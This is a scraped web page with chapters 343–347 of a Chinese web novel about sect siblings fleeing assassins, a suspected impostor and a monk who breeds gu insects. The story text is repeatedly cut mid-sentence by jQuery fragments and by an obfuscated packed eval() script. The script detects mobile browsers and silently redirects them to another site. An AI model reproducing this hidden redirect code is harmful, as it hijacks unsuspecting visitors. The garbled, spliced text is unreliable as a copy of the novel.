$(''#content'').append('' 保住了……”他喃喃自语,又怒瞪谢无咎,“你怎么不早说,还得用你的手指头?” 要是再晚一点,他师妹这会儿就该没命了! 谢无咎同样瘫软在地,似乎被刚才的动作耗光了所有力气。 “是,是我疏忽……” 低哑的声音刚刚响起就落下,岑灵川低头一看,这位又晕了过去。 头顶传来脚步声,还有那些黑衣人的交谈,看来他们还是找到了这里。 岑灵川再次一边一个将两人背起,左右看看,钻进一条狭窄的暗道。 不知道这暗道要通往何方,但总归比呆在这儿被人发现得好! “……这叫什么事!” 忿忿嘀咕着,岑灵川咬紧牙关,一步一蹒跚地朝着黑暗中走了进去。 —— 叶晚竹醒来的时候,发现自己正躺在地上。 头顶是粗糙不平的岩石,她这会儿好像正在一个山洞里? 这是又发生了什么? 浑身的不适已经消退,她动了动身子,却又被僵硬的肌肉扯得倒吸一口冷气。 “师妹?你终于醒了!” 头顶传来如蒙大赦的叹息,叶晚竹朝上看去,便对上了岑灵川颠倒着的一双眼睛。 “你再不醒,我要把谢无咎那该死的再抓来扇两个耳光!” 伸出手扶着叶晚竹坐起来,岑灵川的表情又变得十分难看。 要不是他在安王别院的时候遮遮掩掩的,事情至于这么惊险吗! “怎么?他的血无用?” 中招昏迷后便彻底失去了知觉,叶晚竹对先前发生的事情一无所知。 这会儿听着岑灵川的话,她的眼神也闪了闪。 “有倒是有,可你们谁也不告诉我,用这血还有条件!” 岑灵川苦着脸,说不清是想笑还是想发怒,不过他显然被先前那一遭折磨得不轻,眼下挂着两个重重的黑眼圈。 不用叶晚竹再问,他竹筒倒豆子一般,将昨晚发生过的一切都讲了出来。 “……那地道通向山里,我随便找到这么个山洞,还算凑合!” 叶晚竹这会儿却皱着眉头,一脸沉思。 第三百四十三章 穷追不舍 “师兄——” “嘘——” 叶晚竹正要开口,手腕却忽然被岑灵川按住,指尖传来的冰凉触感让她瞬间噤声。 山洞外传来几声不自然的鸟鸣,接着是枯枝断裂的脆响——太规律了,像是刻意为之的暗号。 叶晚竹的瞳孔微微收缩,和岑灵川对视一眼,又同时点了点头。 那些黑衣人又追来了。 “几个人?”叶晚竹用口型问道。 岑灵川竖起三根手指,侧耳倾听片刻,又缓缓弯下一根。 两个在洞口徘徊,还有一个绕到了侧面。 看着岑灵川的手势,叶晚竹无声地抽出腰间软剑,剑刃在山洞里泛着幽幽青光。 岑灵川脸色变得极为专注,又瞥了一眼仍在昏迷的谢无咎。 谢无咎心口的纱布已经被血浸透,苍白的嘴唇微微颤抖,显然状态极差。 在这种情况下带着伤员,还要突围,岑灵川的眉头不由得紧紧皱起。 “沙沙”的脚步声越来越近,叶晚竹突然按住自己右臂! 那里的伤口忽然隐隐作痛,不是普通的疼痛,而是一种被灼烧的刺痛感,就像…… 有什么东西在血肉里蠕动。 “师兄,”她压低声音,冷汗顺着额角滑落,“坏了,我好像中招了。” 她默默递出胳膊,看着皮肉下的变化,岑灵川倒吸一口凉气! 与此同时,窸窸窣窣的响动从外面传来,一只通体鲜红的硬壳甲虫出现在两人视线之中。 子母蛊! 难怪那些追兵能这么快找到这个隐蔽的山洞! 该死的秃驴! 岑灵川刚要说话,洞口突然传来轰的一声巨响,碎石飞溅中,一道黑影如鬼魅般窜了进来! “走!” 叶晚竹一把拽起谢无咎,软剑挥出,直取来人咽喉! 那黑影却异常灵活,侧身避过剑锋,抬手便朝着叶晚竹伸了过来。 “拿开你的脏手!” 岑灵川大骂一声,飞起一拳砸下,那黑影不得不避其锋芒,后退两步,在山洞角落站定。 “威远王殿下。”这黑衣人的声音像是砂纸在摩擦,“我家主人请您回去喝茶。” 叶晚竹冷笑一声,“让他喝自己吧!” 她软剑一扫,精准地堵住黑衣人去路,另外一边,岑灵川与她默契地同时起身,一刀将此人伸出的手腕砍断! “啊!” 黑衣人惨叫后退,断腕处喷出的却不是鲜血,而是一团蠕动的黑色线虫! 那些线虫落地后立刻朝叶晚竹爬来,速度快得惊人。 “是血蛊幼虫!” 岑灵川急忙扯下外袍点燃,扔向虫群,火焰中传来噼啪爆响,还伴随着刺鼻的腐臭味。 “狗东西,你们有多少这些垃圾?”他又一脚将朝着叶晚竹爬去的鲜红蛊虫踩碎,再踢向那黑衣人。 大火再次燃起,岑灵川避开黑衣人的一击,往火焰之后大步而去。 趁着这个空档,叶晚竹已经拖着谢无咎退到山洞深处。 这里比想象中要深得多,岩壁上渗出的水珠在脚下汇成细流,指引着一条向下的狭窄通道。 “下面可能有暗河!”岑灵川眼睛一亮,“我闻到水气了!” 身后的脚步声又开始响,叶晚竹咬咬牙,正要钻进那条缝隙,突然感到手腕一紧——谢无咎醒了! 他的眼睛在黑暗中泛着极淡的红光,手指却冰凉如**。 “别下去……”他的声音虚弱得几乎听不见,“水里有……” 话未说完,洞口方向突然射来一支火箭,擦着叶晚竹的发梢钉在岩壁上! 火光照亮了整个洞穴,也映出了那条缝隙深处的景象。 这哪里是什么暗河,分明是一潭粘稠的怪湖,水面上还漂浮着几具白骨! “化骨池。” 谢无咎脸色煞白,补完了这半句。 “竟然在这里也设了陷阱!” 岑灵川气得深吸一口气,“这是故意的吧?” 用那条暗道,把他们引到此处! 天问那秃驴,还真是用心良苦! “那里……有个机关。”谢无咎这时候又强撑着开口,还抬手朝着石壁某处一指。 岑灵川顺着指引摸去,果然触到一块微微凸起的石头,用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101885|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按下后,头顶突然传来“咔哒“一声轻响。 一块石板缓缓移开,露出条垂直向上的通道! “走!” 岑灵川当机立断,让叶晚竹先攀上去,自己则用腰带将谢无咎绑在背上,咬牙跟上。 三人跌跌撞撞爬出通道,听着身后安静下来,这才瘫软在地,长长地松了口气。 远处隐约有光亮透进来,伴着阵阵风声,应该是出口。 “我先去看看!” 不敢再轻举妄动,岑灵川翻身而起,朝着那边探了过去。 等到他身影消失,叶晚竹才朝着谢无咎看了过去。 “你怎么知道那里有机关?” 谢无咎正靠在石壁上喘息,闻言顿了顿。 “只是偶然得知罢了。” 偶然? 叶晚竹挑了挑眉。 这个回答,显然有所隐瞒。 她目光莫测,片刻后缓缓上移,又落在谢无咎面上。 谢无咎双眼微闭,呼吸虚弱,显然是又昏了过去。 约莫一炷香之后,岑灵川折返了回来。 “是出口,”他点了点头,又道,“外面有个半塌的祠堂,供奉的不知道是什么神像,长得妖里妖气的,一看就不是什么好东西——师妹?你,你怎么了?” 不过是这么一会儿功夫,叶晚竹的脸色又变得惨白,眉头紧锁,看上去比刚**的时候还要不济。 “是不是那子母蛊发作了?”他顿时敛下神色,三步并做两步冲了上来。 “师兄,我没事。” 反手按住岑灵川的手腕,叶晚竹轻声说着话,眼神却略带深意地朝着他扫了一眼。 岑灵川一愣,又听到她的声音继续响起。 “天问那秃驴费尽心思,把我们引到这样的地方,想来定是又有什么不可告人的打算。” “谢都督又晕了过去,他心口的伤严重,还是不要随便移动为好。” “既然此处暂时安全,我想去那座祠堂里看看。” 岑灵川没说话,默不作声地将叶晚竹背了起来,一路走到祠堂之外,这才压低声音。 “出了什么事?” 第三百四十四章 他有问题? 叶晚竹眼风晃动,朝着那条矿道里看了一眼,又挑了挑眉。 这是什么意思? 岑灵川皱起眉头,学着她的样子往那边看去。 矿道的入口被野草堵住大半,若不是仔细观察,十有**便要忽略过去。 那边空空如也,什么东西都没有啊? 手腕被轻轻握住,岑灵川又低下头,片刻后反应过来,叶晚竹在他手背上写了一个字。 谢。 写他干什么? 再看着叶晚竹摇了摇头,神情有些古怪,岑灵川思索片刻,神情缓缓变得难以置信起来。 师妹的意思,难道是说,里面的人有问题? 谢无咎能有什么问题? 除非……那人不是真正的九千岁? 天问那秃驴的确喜欢做这种偷梁换柱的事情,可,可这一次是为什么? 谢无咎是他们的心腹大患,既然已经把人抓住,直接动手杀了不就是了,为什么要绕这么大的一个圈子,把人送回到他们身边呢? 而且…… 昨天逃到刚才那个山洞的时候,叶晚竹昏迷不醒,岑灵川却是亲手替谢无咎检查过的,全身上下都没有放过。 从那张脸,再到心口的伤,都和他印象中的九千岁对得上号。 所以,这到底是怎么回事? 叶晚竹不发一言,显然是有所顾忌,岑灵川见状也不开口,一双眼睛转来转去,不住地变幻着表情。 将岑灵川的模样收入眼底,叶晚竹也只是抿着嘴唇又摇了摇头,依旧没有多言。 岑灵川只猜出了谢无咎的心头血能解毒,却不知道他的血其实也是一味剧毒。 他们即将离开安王别院,出发南疆的那个时候,叶晚竹到底放心不下师姐和书画等人,最后还是找到谢无咎去刨根问底。 谢无咎的话说的仍然不够详尽,但却提供了一个重要的信息。 他的血能反制天问大师手里的**,也就是说,安王别院里的那些人,眼下中的都是谢无咎身上的剧毒。 毒中带蛊,谢无咎是母体,只要他不死,跟他血脉相连的人都不会死。 谢无咎身上的血如此霸道,却对她身上那子母蛊无用? 况且,上次给师姐她们解毒的时候,她可没有听谢无咎说,一定要用他的手指沾血才能起效。 叶晚竹想来想去,还是觉得里面的问题很大。 顺着往下思考,自从他们救出谢无咎,他醒来和昏迷的时机,似乎也都有些过于巧合了。 如果这个是假的谢无咎,天问大师派他打入自己的阵营,肯定是有所图谋,如此想来,他身边也应该有人在盯着这里的情况。 不好打草惊蛇,叶晚竹又捏了捏师兄的手腕,才若无其事地开口。 “方才有些头晕,现在已经没事了,师兄,你说的祠堂在什么地方?我们赶快过去吧,莫要让九千岁在里面久等了。” 心知这里不是说话的地方,岑灵川点了点头,带头朝方才那祠堂而去。 和矿道一样,这废弃的祠堂也被藤蔓枝条挡得七七八八,只露出一个破烂的房顶,和院中半扇摇摇欲坠的门板。 岑灵川刚才来过,已经把院门打开,这会儿里面的陈腐气味散出去不少,屋子里面的气味却依旧不好闻。 南疆常年炎热潮湿,祠堂内部没有多少灰尘,全都被植物爬满,一眼望去显得十分逼仄。 叶晚竹抬眼便看见了供奉在屋子正中央的神像。 也不知道是不是南疆和大梁的差异,在大梁,祠堂是家中后人供奉祖先的去处,神像应该在庙宇之中,这会儿两者结合起来,怎么看都有些不伦不类的。 这神像的模样更是诡异,如岑灵川所说的那般,妖里妖气的。 石刻的神像上大半爬满苔藓,露出的小半张脸上,看不到一丝庄严肃穆,反而是咧着嘴,笑得阴森可怖,甚至还带着一丝嘲讽。 岑灵川这会儿也抬着脑袋,学着这神像的表情笑了一下,随即忍不住抬手给了自己一个不轻不重的耳光。 笑成这样,真的很让人害怕! 话又说回来了,谁会供奉这种神? 岑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108924|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵川私心里感觉这就是个不折不扣的邪神,转头想和叶晚竹说话,却发现她不知道什么时候已经绕到神像背面去了。 “师妹?” 迈开大步跟上,他很快便也发现,这神像背后并不是空无一物,而是东倒西歪地躺着不少东西,同样被厚厚的藤蔓遮盖着。 叶晚竹先他一步过来,这会儿正在用**清理地上的植被,岑灵川也走上前来。 两人花了不少功夫,才把附近的地面大致清理了一遍,将下方的东西露了出来。 牌位,香炉,长明灯,还有长长的木架。 叶晚竹捡起其中一座牌位,将上面的污泥擦干净,露出的字迹表明这是一位过世已有十几年的老者。 岑灵川也捡起几座,与这位老者都是一组同宗之人。 “这是……鸠占鹊巢?” 叉着腰又把祠堂看了一遍,岑灵川忽然倒吸一口冷气。 叶晚竹把牌位放下,也点了点头。 看样子,是有人把这座乔氏的祠堂据为己有,推倒了人家的牌位,让自己供奉的邪神在此登堂**。 连乔氏先前的布置都不收拾,就这么大喇喇地扔在神像之后,这些人真是无比嚣张。 “会是天问那秃驴吗?”岑灵川咬着嘴唇,语气却有些飘忽。 这秃驴的确丧心病狂,可这件事,看上去却并不像是他的手笔。 毕竟这位也是个人模狗样的和尚啊! 叶晚竹也有同样的感觉。 天问大师瞧着可不像是如此光明正大地供奉邪神的人。 他自己更像是那个邪神才对。 况且,他们能一路找到这儿,天问大师在背后没少出力,他应该还不至于给自己找这么多麻烦。 那也就是说,这地方和安乐茶楼一样,又有故意留给他们的东西。 安乐茶楼里藏着引诱他们前来寻找假谢无咎的线索,那这个祠堂呢? 叶晚竹和岑灵川对视一眼,又继续清理起祠堂剩余的部分来。 “师妹,你看!这里好像有个暗格!” 第三百四十五章 神像与祠堂 也不知道天问大师对这些藤蔓做了什么,植物生长得无比茂盛,一些找到石砖的缝隙,扎根在地下的土壤之中,更是砍不断,扯不动。 收拾到最后,叶晚竹都要怀疑是不是自己方才的猜测出了错。 如此结实的植被,看上去着实不像是有人准备的。 祠堂里除了那张原先的长桌所在的地方,余下便是空空如也,一直到两人将地面和墙面都清理得差不多,岑灵川才对着一个墙角忽然出声。 叶晚竹快步走上前去,果然在隐蔽处看到了一个暗格。 这暗格藏在墙壁底部,若不是靠近,十分容易被忽略过去。 她伸手在暗格周围摸了摸,又转头去看,似乎没有发现暗器的痕迹。 见状,岑灵川擦了一把额头上的汗珠,手里**的刀尖一挑,将暗格的锁撬开了。 咔哒一声响起,两人同时屏住呼吸,聚精会神,时刻做好准备。 可却什么都没有发生。 暗格的门向外弹开,露出了里面的东西。 “这是啥?” 岑灵川先用**试探了一番,确认没有危险才伸出手,把里面的东西全都取了出来。 一张黯淡却难掩精美的布匹,似乎是曾经被当成了包袱皮,里面放着不少信封,还有几本书。 岑灵川把东西翻来覆去地检查着。 望着那熟悉的颜色,还有几个信封上的印章,叶晚竹的眉头皱了皱。 “是宫里的东西。” 岑灵川刚判断这些也没有危险,听到她的话顿时愣住了。 “宫里?”他眨了眨眼,“你是说……昭德帝?” 和昭德帝有关的东西,怎么会出现在南疆的这破烂祠堂之中? 叶晚竹蹲下身子,将那块布捡起来,放到眼前细细地看。 “这不是圣上朝的东西,”眼前熟悉的花纹勾起了她稍显久远的记忆,“这是先帝还在的时候,宫中的纹样。” “……师妹。” 岑灵川又拉长了一张脸,郁郁寡欢地看着她。 “你知道的,我从小就上山习武,对皇帝没有半点了解。” 更别说是上一个皇帝! 他这话说得大逆不道,不过,这会儿也没人会在意。 叶晚竹理了理回忆,这才轻声开口。 “师兄记得安王吧,他之所以长居京城之外的别院,是因为当年被卷入了大皇子和三皇子的斗争之中……” 三言两语,叶晚竹先把安王的过往给岑灵川讲了一遍,这才继续道,“安王受伤之后,先帝自然震怒,在朝中遍查凶手,将目标锁定在宫中几位成年皇子的身上。” 安王遇袭是皇子夺嫡的开端,在此之前,皇子们表面上十分兄友弟恭,没有任何暴露在外的重大龃龉,这也让先帝一时间拿不定凶手的人选。 后来,宫中暗卫在安王遇袭的地方找到了半块布料碎片,先帝便让人沿着这条线索,这才查到了大皇子的身上。 “你……”岑灵川的眼神有些茫然,“师妹,你的意思是,这块布,是从前那个大皇子的?” 叶晚竹却摇了摇头,“不,这是三皇子王府中的饰物。” 岑灵川表情呆滞,已经彻底不知道东南西北了。 这怎么又扯到三皇子身上去了? “当时的东厂暗卫在三皇子府中找到了这种布匹,可三皇子却坚称他没有用过,先帝本就偏爱三皇子,松口去查,最后才将这桩案子查到大皇子的身上。” 任谁看来,这都是大皇子对安王下手之后,栽赃诬陷到三皇子的头上。 先帝显然也是这么想的,对着大皇子大发雷霆,又审问他府中的下人,还当真将那人诈了出来。 据那个随从交代,正是大皇子找借口,让他把这布匹藏到了三皇子府中。 “先帝一气之下,判大皇子在府中禁闭,几月之后,大皇子便举兵谋反。”叶晚竹不紧不慢地给这桩陈年旧案收了尾。 岑灵川仍是一副呆滞模样,定定地看着叶晚竹不出声。 他最讨厌这些你斗我,我斗你的阴谋诡计,更别说,还是几个从来就不曾在意过的已故皇子! “所以……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108925|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >用力转着眼珠子,岑灵川试图理解叶晚竹的话。 “所以这块布,其实还是三皇子的东西?” 他虽然不懂这些皇子都是谁,可叶晚竹这个师妹,岑灵川还是了解的,这件事如果没有问题,她也就不必说得如此详细了。 叶晚竹这时候却摇了摇头。 “我不知道。” 岑灵川:…… 这要不是他唯一的小师妹,他非得往这张脸上来一拳! “前大皇子和三皇子的斗争发生的时候,我还没出生,怎么可能知道这布匹的归属?” 叶晚竹摊了摊手,语气故意轻快了几分,脸色却并未有多少好转。 看出她有后话,岑灵川故意凶狠的表情也正色几分。 “我认识这块布,是因为圣上藏在外祖母身边的时候,它也出现过。” 叶晚竹压低了声音,说出这个秘密,她的语气很轻。 昭德帝被外祖母收留的时候,起初并没有暴露自己的身份,他谎称自己是个孤儿,跟在外祖母身边干些杂活罢了。 可有天晚上,外祖母回到屋中,便看见这么一块布匹毫无征兆地出现在桌上。 昭德帝的皇子身份由此揭开,为此,外祖母和她曾经的夫家没少担惊受怕,东躲西藏。 这些故事还是昭德帝登基后,跟外祖母说起,又被叶晚竹偷听得来的。 昭德帝还在世的时候就怀疑这无故出现,又揭露了他身份的布匹,想来也派人调查过,却终是无果。 可看眼下,这东西竟然出现在了南疆…… “我记得谢无咎说过,这个什么大皇子和三皇子的斗争里,有天问这秃驴的存在。” 岑灵川这时候开了口,神情很是不快。 “这个唯恐天下不乱的秃子,圣上这件事,我看十有**也是他的挑拨!” 皇子夺嫡必会生乱,而这,正好是个机会! 到了如今的这个破祠堂里,天问大师把这块布匹拿出来,又要干什么呢? 叶晚竹和岑灵川都将目光投向了被包在里面的信封和书籍上。 第三百四十六章 故地重游谢都督 谢无咎幽幽醒转,睁开双眼,四下一片黑暗,唯有挂在墙上的火把正在燃烧。 他试着动了动身子,立刻感到一阵钝痛从胸口传来。 沉默地吸了口气,先前的记忆也回到谢无咎的脑中。 彼时叶晚竹和岑灵川刚离开客栈,他屋中的灯就黑了,谢无咎行动不便,连起身的动作都没做完,便骤然失去了知觉。 他不是没想过这一天,但还是来得稍微早了那么一点。 眼下四肢都被紧紧绑缚着,谢无咎只能尽力抬头,目光再次看向周围,适应了黑暗之后,一切都渐渐清晰起来。 “尊贵的九千岁殿下醒了?” 带着悠悠笑意的声音传来,天问大师的脸从侧方探了出来。 在大梁时那如同丧家之犬的模样已经完全不见了,如今的天问大师又换上了崭新的僧袍,手中佛珠乌黑油亮,一副气定神闲的高人打扮。 只是他继续张口:“看着贫僧这里的布置,九千岁是不是感觉很熟悉?我倒是没有想到,堂堂大梁九千岁,一人之下,万人之上的人物,竟然会惦念我这小小的暗牢。” 东厂地下的那几处暗牢,差不多都是按照天问大师这里的模样复刻的。 谢无咎不意外地看着他的嘴脸,也同样不意外地打量着屋中的环境。 他又来到了上一次被掳到南疆时候的那座密牢。 这里也是一切开始的地方。 “确实。” 收回目光,谢无咎开口的声音显得懒洋洋的。 “东厂毕竟是见血的地方,除了你这里的笼子,我一时间也想不到还有哪里更恶心。” 他说话不留情面,天问大师的表情变淡了几分,又很快恢复正常。 “事到如今,九千岁大人就不必嘴硬了吧。” “不好意思,本督嘴硬也不是一天两天的事情了。” 谢无咎仍是那懒洋洋的口吻,看向天问大师的眸子里,明明白白地写着挑衅。 “大师要是想听好话,那可只能等下次投胎了,你若投生成一头猪,上菜的时候,本督定会赞上你几句。” 天问大师眼角抽搐,抬手便是一记耳光扇了下去! 谢无咎不能动作,被他扇得脑袋侧向一边。 “孽畜!敬酒不吃吃罚酒!” 地牢里没有旁人,唯有天问大师的骂声不住地回荡着。 “你果然是那等没脸没皮,没心没肺的,枉费了我对你的栽培!”他语气恨恨,“畜生东西!” 就着脑袋被打歪的动作,谢无咎忽然笑了起来。 他越笑声音越大,又笑到全身上下都在发抖。 “栽培?” 笑得眼泪都出来了,不能伸手去擦,谢无咎索性便仰起脑袋,任由它从眼角滑落。 “秃驴,如果给人下毒长达几个月叫栽培,那你后来又做的这些,你是不是叫乐善好施?” 好像是自己给自己讲了个笑话,谢无咎又乐不可支起来。 “我算是知道你为什么这么不要脸了,每天晚上睡觉之前,都得这么骗自己吧——” 一句话还没说完,天问大师的耳光又到了。 他扇得又重又狠,谢无咎的脸颊几下之后就高高肿起,嘴角也有血丝渗出。 “住口!” 显然是动了真怒,天问大师的呼吸也变得急促起来。 他俯下身子,一把扯住谢无咎的衣领,重重地将他拽向自己。 “你这个不知感恩的白眼狼。” 直勾勾盯着谢无咎的双眼,天问大师的语气阴森到了极点。 “当年要不是我,你早就该被乱刀**,怎会有今天的殊荣?九千岁,哼!” 咬牙切齿地说着话,天问大师的脸上全是不屑和愤恨。 “恩将仇报的孽障!” 谢无咎被迫用力昂着脑袋,对上这双猩红翻卷的双眼,他仍是笑着。 “怎么,你羡慕?自己给自己来一刀,说不定现在去找个主子投诚还来得及。” 顿了顿,他语气里的笑意又减少了两分。 “至于殊荣……我能活着从这儿离开,纯属是命大,比起你,我还是感谢自己比较好。” “啊,或许还要感谢一下我娘,生我的时候,给我选了个黄道吉日。” 一个给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108926|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下毒的人,现在竟然在要求他感恩戴德? 谢无咎的表情又挂上了几分讥诮。 天问大师闻言沉默了片刻,忽然松手直起身子来。 “与你多费这些口舌,我也是浪费时间。” 冷冰冰地说着话,他从怀中摸出了一个小盒子。 看着这样东西,谢无咎的眼神忽然变了变。 天问大师没错过他这一瞬的变化,嘴角扬起,心情顿时又愉悦了几分。 “你的确命大,当年的那一屋子孩子,只有你一个人活了下来,还扛住了我的药。” 血蛊宿主的要求本就苛刻,想培育血蛊王,那更是天时地利人和,一个都不能缺。 天问大师当年辗转各地,才收拢了符合条件的半大孩子。 如今只剩下一个谢无咎。 想着血月那晚,他和谢无咎交手的场面,天问大师轻笑一声,将盒子打开来。 “你不仅命大,而且还很会掩藏,小小年纪,竟然能将我也骗了去。” “不过无妨,只是几年时间,我等得起。” 低声说着话,天问大师垂首看着谢无咎,眼底光芒兴奋而疯狂。 “来吧……让我看看,我的作品……” 他手中的盒子彻底打开,一只指甲盖大小的蛊虫探出触角,寻寻觅觅地朝着谢无咎身上爬了过去。 这蛊虫浑身上下都是炫目耀眼的花纹,一眼看去,让人忍不住不寒而栗。 身携剧毒的断肠蛊,在体内发作的时候,能让人感受到这世间最求生不得,求死不能的痛苦。 天问大师小心翼翼地放下盒子,又反手拔出**,在谢无咎半敞开的胸口上轻轻一挑。 鲜血渗出,这味道更加刺激得蛊虫朝那边加快速度爬了过去。 触须碰到谢无咎鲜血的那一瞬间,断肠蛊猛地发出一声尖叫,而后身子一翻,剧烈地颤抖了两下,不动了。 看这死状,显然是遭受了无比剧烈的疼痛! 天问大师直勾勾地盯着断肠蛊的尸体,笑容越发扩大。 “成了!成了——” “大师!小的有急事要禀!” 第三百四十七章 真正的秘密 “大师!小的有急事要禀!” 天问大师脸上的狂喜骤然凝固,他猛地合上手中的盒子,转身喝道:“滚出去!我不是说了吗?不许任何人进来!” “可,可是——” 那侍卫嘴唇哆嗦着,正要冒着天文大师的火气开口,眼前白光一闪,他胸口一痛,惨叫一声捂着伤口便倒了下去! 鲜血飞溅,尘土飞扬,地牢重归寂静,只剩下火把燃烧的噼啪声。 “把他给我拖走。” 收回扬起的衣袖,天问大师淡淡地朝着外面吩咐了一声。 “再有这等情况,你们自己看着办。” 屋外的侍卫哪里还敢出声,一个个眼观鼻鼻观心,默不作声地上前将那死不瞑目的侍卫拖走,又轻手轻脚地把地上的血迹打扫干净。 直到房门被重新关上,天问大师才转身看向被铁链锁住的谢无咎,眼中依旧闪烁着疯狂的光芒,表情却已经冷却下来。 “看来你的手下不太听话。” 谢无咎啐出一口血沫,冷笑道,“就像当年那些被你用来试药的孩子一样。” 闻言,天问大师不怒反笑,背起双手,缓缓踱步到谢无咎面前。 “你倒是提醒了我,十九年前那批孩子里,只有你活了下来。知道为什么吗?” 谢无咎眯起眼,笑得有些漫不经心,“总不能是因为我的命够硬吧?” “殿下倒是很有自知之明啊。” 轻笑一声,天问大师又突然暴喝,枯瘦的手指猛地掐住谢无咎的下巴。 “因为你是三皇子的血脉!只有你,才能承受血蛊王的毒性!" 听到这个名字,谢无咎瞳孔骤缩,忍不住扯了扯铁链,用力过猛,铁链也跟着哗啦作响。 “你,你胡说!” 皱着眉头,谢无咎面上无懈可击的伪装头一遭出现了裂痕。 这和血蛊有什么关系? “永和三年七月初七,寅时三刻。” 天问大师从怀中掏出一块染血的布匹,朝着谢无咎晃了晃。 上面的花纹十分特殊,谢无咎凝神看去,眼神晦暗不明。 “这就是当年从你身上扯下来的,你右肩胛骨下有一道月牙形胎记,和当年三皇子身上的那个,位置一模一样,我没有说错吧?” 天问大师斜睨着谢无咎,语气不紧不慢。 谢无咎的呼吸却变得粗重起来。 这个本该被彻底掩埋起来的秘密,还是被天问这秃驴握在了手中。 他是先三皇子,曾经的贤王膝下长子,可除了贤王本人,几乎没有人知道谢无咎的存在。 原因无他,正是因为这个胎记。 人有胎记不算奇怪,就算是王子皇孙也是同样,可若是亲生父子,却在同一个位置,有同样的胎记,那就是一件让人不免心里起疑的事情了。 为了不落人话柄,贤王忍痛将这个长子送到别院,隐姓埋名地长大,对外宣称是体弱多病,不宜见人。 不过,在谢无咎的印象中,父王待他极好,他懂事之后,贤王也没有隐瞒胎记之事,只是让他耐心等待,总有光明正大让他出现在众人面前的那一天。 小小的谢无咎等着等着,却等到了父王和母妃的死讯,还有前来抓人的天问秃驴。 那个时候,他甚至还不是一个秃驴。 谢无咎垂下眼皮,努力调整了一下情绪,却又因为天问大师的时下一句话而崩盘。 “为了那个胎记,你们一家人应该付出了不少努力来维护吧?”天问大师的声音突然变得轻柔,“其实,那胎记是我偷偷刺在你身上的。” 地牢内的火把突然剧烈摇晃,将两人的影子投射在石壁上。 谢无咎先是一僵,随后又飞快地冷静下来。 “你以为我会信这种鬼话?”他冷笑一声,“一个用活人养蛊的疯子,也配谈什么身世真相?这又是你的什么把戏?” 天问大师不慌不忙地从袖中取出一卷泛黄的帛书。 “这是当年我用龟甲占卜的谶言。” “'龙隐**十九载,血月临空蛊王成'——这前两句,已经应验了。” 谢无咎盯着那帛书,突然大笑起来。 “老秃驴,你漏算了一点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112974|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>天问大师静静地盯着他。 “就算我真是三皇子之子,那又如何?” 谢无咎眼中寒光乍现,“你以为,用这种故事就能让我乖乖听话?” 天问大师这时候又笑了起来,瞧着十分阴森。 “你错了。” 他咧着嘴,手指轻柔地在谢无咎脸上划过。 “告诉你这些,不是为了让你听话,而是要让你知道,你从出生起,就是我的棋子。” 谢无咎的八字占尽天时地利,是他寻找已久的绝佳容器。 忽然扯开自己的衣襟,天问大师露出了胸口诡异的血色纹路。 “你瞧,当年种蛊时我就下了禁制,血蛊王成熟之日,就是你为我所用之时!” 谢无咎抬头看着他胸口的纹路,突然露出一个笑容。 “真的吗?”他语气疑惑,“如果真的是这样,在京城的那个晚上,你为什么要逃走?” 天问大师的脸色猛地一变! 紧接着,在他震惊万分的眼神注视之下,谢无咎抬手一拧,两根束缚着他的铁链发出吱嘎的声音,而后齐齐断成两截! “这,这不可能!” 天问大师踉跄后退,“没有我的秘法,你怎么可能……” “因为最关键的一点,你刚才已经说过了。” 